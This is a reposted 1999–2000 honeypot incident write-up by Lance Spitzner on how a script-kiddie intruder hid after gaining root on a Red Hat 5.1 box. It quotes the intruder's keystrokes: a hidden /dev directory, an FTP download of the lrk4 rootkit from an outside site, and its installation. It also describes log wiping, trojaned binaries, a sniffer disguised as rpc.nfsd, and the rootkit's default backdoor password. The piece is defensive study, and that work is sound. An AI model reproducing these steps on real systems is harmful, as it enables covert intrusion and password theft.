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 Feature: Know Your Enemy: III

In the third part of this three part series Lance Spitzner tells us about what happens once a Script Kiddie gains root. Specifically, how they cover their tracks and what they do next. Read it here.

 (Submitted by Noel Mon Mar 13, 2000 )

  They Gain Root
Know Your Enemy: III

Lance Spitzner

This article is the third of a series focusing on the script kiddie.  The first paper focuses on how script kiddies probe for,  identify, and exploit vulnerabilities.  The second paper focuses on how you can detect these attempts, identify what tools they are using and what vulnerabilities they are looking for.  This paper, the third, focuses on what happens once they gain root.  Specifically, how they cover their tracks and what they do next.

Who is the script kiddie

As we learned in the first paper, the script kiddie is not so much a person as it is a strategy, the strategy of probing for the easy kill. One is not searching for specific information or targeting a specific company, the goal is to gain root the easiest way possible. Intruders do this by focusing on a small number of exploits, and then searching the entire Internet for that exploit. Do not underestimate this strategy, sooner or later they find someone vulnerable.

Once they find a vulnerable system and gain root, their first step is normally to cover their tracks.  They want to ensure you do not know your system was hacked and cannot see nor log their actions.  Following this, they often use your system to scan other networks, or silently monitor your own. To gain a better understanding of how they accomplish these acts, we are going to follow the steps of a system compromised by an intruder using script kiddie tactics.  Our system, called mozart, is a Linux box running Red Hat 5.1.  The system was compromised on April 27, 1999.  Below are the actual steps our intruder took, with system logs and keystrokes to verify each step.  All system logs were recorded to a protected syslog server, all keystrokes were captured using sniffit.  Throughout this paper our intruder is refered to as he, however we have no idea what the true gender of the intruder is.

The Exploit

On 27 April, at 00:13 hours, our network was scanned by the system 1Cust174.tnt2.long-branch.nj.da.uu.net for several vulnerabilities, including imap.  Our intruder came in noisy, as every system in the network was probed (for more information on detecting and analyzing scans, please see the second paper of this series).

Apr 27 00:12:25 mozart imapd[939]: connect from 208.252.226.174
Apr 27 00:12:27 bach imapd[1190]: connect from 208.252.226.174
Apr 27 00:12:30 vivaldi imapd[1225]: connect from 208.252.226.174

Apparently he found something he liked and returned at 06:52 and 16:47 the same day.  He started off with a more thorough scan, but this time focusing only on mozart.  He identified a weakness and launched a successful attack against mountd, a commonly known vulnerability for Red Hat 5.1.  Here we see in  /var/log/messages the intruder gaining root.  The tool used was most likely ADMmountd.c, or something similar to it.

Apr 27 16:47:28 mozart mountd[306]: Unauthorized access by NFS client 208.252.226.174.
Apr 27 16:47:28 mozart syslogd: Cannot glue message parts together
Apr 27 16:47:28 mozart mountd[306]: Blocked attempt of 208.252.226.174 to mount
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~

Immediately following this exploit, we see in /var/log/messages our intruder gaining root by telneting in as the user crak0, and then su to the user rewt.  Both of these accounts were added by the exploit script.  Our intruder now has total control of our system.

Apr 27 16:50:27 mozart login[1233]: FAILED LOGIN 2 FROM 1Cust102.tnt1.long-branch.nj.da.uu.net FOR crak, User not known to the underlying authentication module
Apr 27 16:50:38 mozart PAM_pwdb[1233]: (login) session opened for user crak0 by (uid=0)
Apr 27 16:50:38 mozart login[1233]: LOGIN ON ttyp0 BY crak0 FROM 1Cust102.tnt1.long-branch.nj.da.uu.net
Apr 27 16:50:47 mozart PAM_pwdb[1247]: (su) session opened for user rewt by crak0(uid=0)

Covering Their tracks

The intruder is now on our system as root.  As we are now about to see, the next step for him is to make sure he does not get caught.  First, he checks to see if anyone else is on the system.

[crak0@mozart /tmp]$ w
  4:48pm  up 1 day, 18:27,  1 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU  WHAT
crak0    ttyp0    1Cust102.tnt1.lo  4:48pm  0.00s  0.23s  0.04s  w

After making sure the coast is clear, he will want to hide all of his actions. This normally entails removing any evidence from the logs files and replacing system binaries with trojans, such as ps or netstat, so you cannot see the intruder on your own system.  Once the trojans are in place, the intruder has gained total control of your system and you will most likely never know it. Just as there are automated scripts for hacking, there are also automated tools for hiding intruders, often called rootkits.  One of the more common rootkits is lrk4.  By executing the script, a variety of critical files are replaced, hiding the intruder in seconds. 

Within minutes of compromising our system, we see the intruder downloading the rootkit  and then implementing the script with the command "make install".   Below are the actual keystrokes the intruder typed to hide himself.

cd /dev/
su rewt
mkdir ". "
cd ". "
ftp technotronic.com
anonymous
fdfsfdsdfssd@aol.com
cd /unix/trojans
get lrk4.unshad.tar.gz
quit
ls
tar -zxvf lrk4.unshad.tar.gz
mv lrk4 proc
mv proc ". "
cd ". "
ls
make install

Notice the first thing that our intruder did, he created the hidden directory ".  " to hide his toolkit.  This directory does not show up with the "ls" command, and looks like the local directory with "ls -la" command. One way you can locate the directory is with the "find" command (be sure you can trust the integrity of your "find" binary).

mozart #find / -depth -name "*.*"
/var/lib/news/.news.daily
/var/spool/at/.SEQ
/dev/. /. /procps-1.01/proc/.depend
/dev/. /.
/dev/.

Our intruder may have been somewhat sophisticated in using trojan binaries, but had a simpler approach to cleaning the logs files.  Instead of using cleaning tools such as zap2 or clean, he copied /dev/null to the files /var/run/utmp and /var/log/utmp, while deleting /var/log/wtmp.  You know something is wrong when these logs files contain no data, or you get the following error:

[root@mozart sbin]# last -10
last: /var/log/wtmp: No such file or directory
Perhaps this file was removed by the operator to prevent logging last info.

The Next Step

Once a system has been compromised, intruders tend to do one of two things.  First, they use your system as a launching pad and scan or exploit other systems.  Second, they decided to lay low and see what  they can learn about your system, such as accounts for other systems.  Our intruder decided for option number two, lay low and see what he could learn.  He implemented a sniffer on our system that would capture all of our network traffic, including telnet and ftp sessions to other systems.  This way he could learn logins and passwords.  We see the sytem going into promiscuous mode in /var/log/messages soon after the compromise.

Apr 27 17:03:38 mozart kernel: eth0: Setting promiscuous mode.
Apr 27 17:03:43 mozart kernel: eth0: Setting promiscuous mode.

After implementing the trojan binaries, clearning the log files, and starting the sniffer, our intruder disconnected from the system.  However, we will see him returning the next day to find what traffic he captured.

Damage Control

Since our friend had disconnected, this gave me a chance to review the system and see what exactly happened.  I was extremely interested to see what was altered, and where he was logging the sniffer information.  First, I quickly identified with tripwire which files were modified.    Note, make sure you run tripwire from a valid source.  I like to run a statically-linked version of tripwire from a read-only floppy.  Tripwire showed the following.

added:   -rw-r--r-- root            5 Apr 27 17:01:16 1999 /usr/sbin/sniff.pid
added:   -rw-r--r-- root          272 Apr 27 17:18:09 1999 /usr/sbin/tcp.log
changed: -rws--x--x root        15588 Jun  1 05:49:22 1998 /bin/login
changed: drwxr-xr-x root        20480 Apr 10 14:44:37 1999 /usr/bin
changed: -rwxr-xr-x root        52984 Jun 10 04:49:22 1998 /usr/bin/find
changed: -r-sr-sr-x root       126600 Apr 27 11:29:18 1998 /usr/bin/passwd
changed: -r-xr-xr-x root        47604 Jun  3 16:31:57 1998 /usr/bin/top
changed: -r-xr-xr-x root         9712 May  1 01:04:46 1998 /usr/bin/killall
changed: -rws--s--x root       116352 Jun  1 20:25:47 1998 /usr/bin/chfn
changed: -rws--s--x root       115828 Jun  1 20:25:47 1998 /usr/bin/chsh
changed: drwxr-xr-x root         4096 Apr 27 17:01:16 1999 /usr/sbin
changed: -rwxr-xr-x root       137820 Jun  5 09:35:06 1998 /usr/sbin/inetd
changed: -rwxr-xr-x root         7229 Nov 26 00:02:19 1998 /usr/sbin/rpc.nfsd
changed: -rwxr-xr-x root       170460 Apr 24 00:02:19 1998 /usr/sbin/in.rshd
changed: -rwxr-x--- root       235516 Apr  4 22:11:56 1999 /usr/sbin/syslogd
changed: -rwxr-xr-x root        14140 Jun 30 14:56:36 1998 /usr/sbin/tcpd
changed: drwxr-xr-x root         2048 Apr  4 16:52:55 1999 /sbin
changed: -rwxr-xr-x root        19840 Jul  9 17:56:10 1998 /sbin/ifconfig
changed: -rw-r--r-- root          649 Apr 27 16:59:54 1999 /etc/passwd

As you can see, a variety of binaries and files were modified.  There were no new entries in /etc/passwd (wisely, he had removed the crak0 and rewt accounts), so our intruder must have left a backdoor in one of the modified binaries.  Also, two files were added, /usr/sbin/sniff.pid and /usr/sbin/tcp.log.  Not suprisingly, /usr/sbin/sniff.pid was the pid of the sniffer, /usr/sbin/tcp.log was where he was storing all of his captured information.  Based on /usr/sbin/sniff.pid, the sniffer turned out to be rpc.nfsd.  Our intruder had compiled a sniffer, in this case linsniffer, and replaced rpc.nfsd with it.  This ensured that if the system was rebooted, the sniffer would be restarted by the init process.  Strings confirms rpc.nfsd is the sniffer:

mozart #strings /usr/sbin/rpc.nfsd | tail -15
cant get SOCK_PACKET socket
cant get flags
cant set promiscuous mode
----- [CAPLEN Exceeded]
----- [Timed Out]
----- [RST]
----- [FIN]
%s =>
%s [%d]
sniff.pid
eth0
tcp.log
cant open log
rm %s

After reviewing the system and understanding what happened, I left the system alone.  I was curious to see what the intruder's next steps would be.  I did not want him to know that I had caught him, so I removed all of my entries from /usr/sbin/tcp.log.

The Script Kiddie Returns

The following day our friend returned.  By logging his keystrokes, I quickly identified the backdoor, /bin/login was trojaned.  This binary, used for telnet connections, was configured to allow the account "rewt" root privileges with the password "satori".  The password "satori" is the default password for all trojaned binaries that the rootkit lrk4 uses, a giveaway that your system may have been compromised.

The intruder was checking on his sniffer to ensure it was still functioning.  Also, he wanted to confirm if any accounts were captured since the previous day.   You can review his keystrokes at keystrokes.txt.  Notice at the bottom of the log our intruder kills the sniffer.  This was the last thing he did before terminating the session.  However, he quickly returned several minutes later with another session, only to start the sniffer again.  I'm not exactly sure why he did this.

This process of checking the system continued for several days.  Every day the intruder would connect to the system to confirm the sniffer was running  and if it had captured any valuable data.  After the fourth day, I decided that this was enough and disconnected the system.  I had learned enough from the intruder's actions and was not going to learn anything new.

Conclusion

We have seen in this paper how an intruder may act , from start to finish, once they gain root on your system. They often begin by checking to see if anyone is on the system.  Once they know the coast is clear, they cover their tracks by clearing the logfiles and replacing or modifying critical files. Once they are safely hidden, they move onto new and more damaging activities.  These tactics are here to stay, as new exploits are constantly being discovered. To better protect yourself against these threats, I recommend you armor your systems.  Basic armoring will protect against most script kiddie threats, as they normally go for the easy kill.  For ideas on how to armor your system, check out Armoring Solaris.  If it is to late and you feel your system has already been compromised, a good place to start is CERT's site "Recovering from an Incident" .
 

Author's bio
Lance Spitzner enjoys learning by blowing up his Unix systems at home. Before this, he was an Officer in the Rapid Deployment Force, where he blew up things of a different nature. You can reach him at lspitz@ksni.net .
 
 


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